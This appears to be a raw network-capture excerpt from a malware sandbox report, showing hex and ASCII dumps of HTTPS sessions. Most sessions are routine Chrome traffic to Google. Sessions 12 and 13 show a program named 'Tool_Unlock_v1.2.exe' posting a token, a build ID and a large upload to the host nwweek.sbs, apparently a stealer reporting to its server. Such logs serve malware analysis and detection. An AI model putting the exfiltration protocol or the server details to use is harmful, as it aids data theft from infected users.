2024-12-29 04:45:18 UTC	724	IN	Data Raw: 32 63 64 0d 0a 64 6c 46 4b 64 30 39 52 51 6d 31 44 4d 6d 78 54 55 56 4a 4d 61 32 6c 6e 53 6d 68 68 51 54 4a 31 61 30 5a 78 63 57 51 77 64 55 56 50 54 57 4a 43 4e 33 68 4f 61 32 31 4f 61 6b 46 31 55 33 42 6e 4c 7a 4d 32 4e 6c 45 30 4c 30 46 71 57 48 46 71 63 32 4e 31 53 6b 39 4a 4f 55 46 42 64 57 46 33 59 6e 5a 71 62 33 46 75 54 6a 5a 68 56 7a 64 68 4d 55 4a 57 65 45 67 32 5a 43 39 76 61 6e 4a 46 64 6d 56 32 63 6a 64 74 53 54 52 54 4b 7a 55 31 4c 32 68 49 4d 47 34 35 5a 44 64 4e 4d 47 77 79 56 69 39 58 64 79 74 70 61 6e 52 31 4d 54 6c 45 5a 56 6c 6d 4d 7a 4d 34 57 6d 5a 33 51 57 4a 6a 61 6b 4a 34 65 57 46 75 53 30 46 52 51 55 46 42 51 55 4a 4b 55 6c 55 31 52 58 4a 72 53 6d 64 6e 5a 7a 30 39 4f 68 64 77 63 6d 56 74 61 57 56 79 49 47 78 6c 59 57 64 31 5a 53 Data Ascii: 2cddlFKd09RQm1DMmxTUVJMa2lnSmhhQTJ1a0ZxcWQwdUVPTWJCN3hOa21OakF1U3BnLzM2NlE0L0FqWHFqc2N1Sk9JOUFBdWF3YnZqb3FuTjZhVzdhMUJWeEg2ZC9vanJFdmV2cjdtSTRTKzU1L2hIMG45ZDdNMGwyVi9XdytpanR1MTlEZVlmMzM4WmZ3QWJjakJ4eWFuS0FRQUFBQUJKUlU1RXJrSmdnZz09OhdwcmVtaWVyIGxlYWd1ZS
2024-12-29 04:45:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49725	172.217.21.36	443	7128	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:17 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49726	172.217.21.36	443	7128	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:17 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 04:45:18 UTC	1018	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 29 Dec 2024 04:45:18 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-29 04:45:18 UTC	372	IN	Data Raw: 31 38 33 62 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 183b)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-29 04:45:18 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-29 04:45:18 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-29 04:45:18 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-29 04:45:18 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-29 04:45:18 UTC	279	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 38 35 2c 33 37 30 31 33 38 34 2c 31 30 32 32 37 38 32 30 35 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700285,3701384,102278205],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window
2024-12-29 04:45:18 UTC	251	IN	Data Raw: 66 35 0d 0a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 21 61 2e 6a 29 69 66 28 63 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 66 6f 72 28 76 61 72 20 64 20 6f 66 20 63 29 5f 2e 78 64 28 61 2c 62 2c 64 29 3b 65 6c 73 65 7b 64 5c 75 30 30 33 64 28 30 2c 5f 2e 7a 29 28 61 2e 43 2c 61 2c 62 29 3b 63 6f 6e 73 74 20 65 5c 75 30 30 33 64 61 2e 76 2b 63 3b 61 2e 76 2b 2b 3b 62 2e 64 61 74 61 73 65 74 2e 65 71 69 64 5c 75 30 30 33 64 65 3b 61 2e 42 5b 65 5d 5c 75 30 30 33 64 64 3b 62 5c 75 30 30 32 36 5c 75 30 30 32 36 62 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 62 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 63 2c 64 2c 21 31 29 3a 62 5c 75 30 30 32 36 5c 75 30 30 32 36 62 2e 61 0d 0a Data Ascii: f5d\u003dfunction(a,b,c){if(!a.j)if(c instanceof Array)for(var d of c)_.xd(a,b,d);else{d\u003d(0,_.z)(a.C,a,b);const e\u003da.v+c;a.v++;b.dataset.eqid\u003de;a.B[e]\u003dd;b\u0026\u0026b.addEventListener?b.addEventListener(c,d,!1):b\u0026\u0026b.a
2024-12-29 04:45:18 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 74 74 61 63 68 45 76 65 6e 74 3f 62 2e 61 74 74 61 63 68 45 76 65 6e 74 28 5c 22 6f 6e 5c 22 2b 63 2c 64 29 3a 61 2e 6f 2e 6c 6f 67 28 45 72 72 6f 72 28 5c 22 42 60 5c 22 2b 62 29 29 7d 7d 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 79 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 5c 22 2e 67 62 5f 49 20 2e 67 62 5f 41 5c 22 29 2c 7a 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 5c 22 23 67 62 2e 67 62 5f 52 63 5c 22 29 3b 79 64 5c 75 30 30 32 36 5c 75 30 30 32 36 21 7a 64 5c 75 30 30 32 36 5c 75 30 30 32 36 5f 2e 78 64 28 5f 2e 67 64 2c 79 64 2c 5c 22 63 6c 69 Data Ascii: 8000ttachEvent?b.attachEvent(\"on\"+c,d):a.o.log(Error(\"B`\"+b))}};\n}catch(e){_._DumpException(e)}\ntry{\nvar yd\u003ddocument.querySelector(\".gb_I .gb_A\"),zd\u003ddocument.querySelector(\"#gb.gb_Rc\");yd\u0026\u0026!zd\u0026\u0026_.xd(_.gd,yd,\"cli
2024-12-29 04:45:18 UTC	1390	IN	Data Raw: 5f 2e 4c 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 5f 2e 4d 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4c 64 28 5f 2e 48 64 3f 5f 2e 48 64 2e 65 6d 70 74 79 48 54 4d 4c 3a 5c 22 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 51 64 2c 64 65 2c 50 64 2c 52 64 2c 57 64 3b 5f 2e 4e 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 61 3a 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f Data Ascii: _.Ld\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};_.Md\u003dnew _.Ld(_.Hd?_.Hd.emptyHTML:\"\");\n}catch(e){_._DumpException(e)}\ntry{\nvar Qd,de,Pd,Rd,Wd;_.Nd\u003dfunction(a){return a\u003d\u003dnull?a:Number.isFinite(a)?a\|0:vo
2024-12-29 04:45:18 UTC	1390	IN	Data Raw: 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 73 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 4f 64 28 5f 2e 45 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 4e 64 28 5f 2e 45 63 28 61 2c 62 29 29 7d 3b 5f 2e 54 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 Data Ascii: \"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.ae\u003dfunction(a,b,c){return _.sb(a,b,c,!1)!\u003d\u003dvoid 0};_.be\u003dfunction(a,b){return _.Od(_.Ec(a,b))};_.S\u003dfunction(a,b){return _.Nd(_.Ec(a,b))};_.T\u003dfunction(a,b,c\u003d0)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49727	172.217.21.36	443	7128	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:17 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 04:45:18 UTC	933	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 29 Dec 2024 04:45:18 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-29 04:45:18 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-29 04:45:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49751	116.203.14.4	443	6224	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:21 UTC	275	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FKNOP8QIMOZM7Q9HD2D2 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: nwweek.sbs Content-Length: 505 Connection: Keep-Alive Cache-Control: no-cache
2024-12-29 04:45:21 UTC	505	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 4b 4e 4f 50 38 51 49 4d 4f 5a 4d 37 51 39 48 44 32 44 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 36 34 34 63 66 65 62 65 37 34 34 65 39 64 32 31 39 39 62 30 34 64 37 63 33 61 63 33 35 0d 0a 2d 2d 2d 2d 2d 2d 46 4b 4e 4f 50 38 51 49 4d 4f 5a 4d 37 51 39 48 44 32 44 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 65 31 34 37 65 65 65 35 33 31 62 32 33 66 65 35 32 61 33 62 66 32 32 36 36 65 65 30 33 65 64 0d 0a 2d 2d 2d 2d 2d 2d 46 4b 4e 4f 50 38 51 49 4d 4f 5a 4d 37 51 39 48 44 32 44 32 0d 0a 43 6f 6e 74 Data Ascii: ------FKNOP8QIMOZM7Q9HD2D2Content-Disposition: form-data; name="token"6c5644cfebe744e9d2199b04d7c3ac35------FKNOP8QIMOZM7Q9HD2D2Content-Disposition: form-data; name="build_id"7e147eee531b23fe52a3bf2266ee03ed------FKNOP8QIMOZM7Q9HD2D2Cont
2024-12-29 04:45:22 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 29 Dec 2024 04:45:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-29 04:45:22 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49753	116.203.14.4	443	6224	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:23 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----H47GV3E3OP8YU37G4WBA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: nwweek.sbs Content-Length: 213453 Connection: Keep-Alive Cache-Control: no-cache
2024-12-29 04:45:23 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 34 37 47 56 33 45 33 4f 50 38 59 55 33 37 47 34 57 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 36 34 34 63 66 65 62 65 37 34 34 65 39 64 32 31 39 39 62 30 34 64 37 63 33 61 63 33 35 0d 0a 2d 2d 2d 2d 2d 2d 48 34 37 47 56 33 45 33 4f 50 38 59 55 33 37 47 34 57 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 65 31 34 37 65 65 65 35 33 31 62 32 33 66 65 35 32 61 33 62 66 32 32 36 36 65 65 30 33 65 64 0d 0a 2d 2d 2d 2d 2d 2d 48 34 37 47 56 33 45 33 4f 50 38 59 55 33 37 47 34 57 42 41 0d 0a 43 6f 6e 74 Data Ascii: ------H47GV3E3OP8YU37G4WBAContent-Disposition: form-data; name="token"6c5644cfebe744e9d2199b04d7c3ac35------H47GV3E3OP8YU37G4WBAContent-Disposition: form-data; name="build_id"7e147eee531b23fe52a3bf2266ee03ed------H47GV3E3OP8YU37G4WBACont
2024-12-29 04:45:23 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:23 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 